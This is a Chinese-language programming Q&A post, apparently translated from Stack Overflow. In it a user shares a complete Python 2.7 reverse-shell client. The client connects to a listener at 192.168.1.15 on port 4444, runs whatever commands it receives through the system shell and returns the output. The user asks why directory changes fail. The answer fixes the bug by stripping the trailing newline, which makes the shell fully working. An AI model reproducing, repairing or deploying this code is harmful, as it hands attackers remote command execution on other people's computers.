0

我正在制作一个简单的 Python 2.7 reverse-shell ,每次在我的 netcat 服务器中键入 cd C:\ 时,都会为目录更改功能抛出此错误“WindowsError: [Error 123] The filename, directory name, or volume label syntax is不正确:'C:\\n'" 这是我的代码。

    import socket
    import os
    import subprocess
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    host = "192.168.1.15"
    port = 4444
    s.connect((host, port))
    s.send(os.getcwd() + '> ')
    def Shell():
        while True:
            data = s.recv(1024)
            if data[:2] == 'cd':
                os.chdir(data[3:])
            if len(data) > 0:
                proc = subprocess.Popen(data, shell = True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
                result = proc.stdout.read() + proc.stderr.read()
                s.send(result)
                s.send(os.getcwd() + '> ')
                print(data)
    Shell()
4

1 回答 1

0

用于data = s.recv(1024)接收远程数据时,同时接收\nEnter结束当前输入时产生的字符。

因此,当您获取数据时,您只需要使用.strip()它,或者使用它[:-1]来删除最后一个字符(即)。\n

data = s.recv(1024).strip()

或者

data = s.recv(1024)[:-1]

可能都OK。

于 2018-12-22T02:35:48.867 回答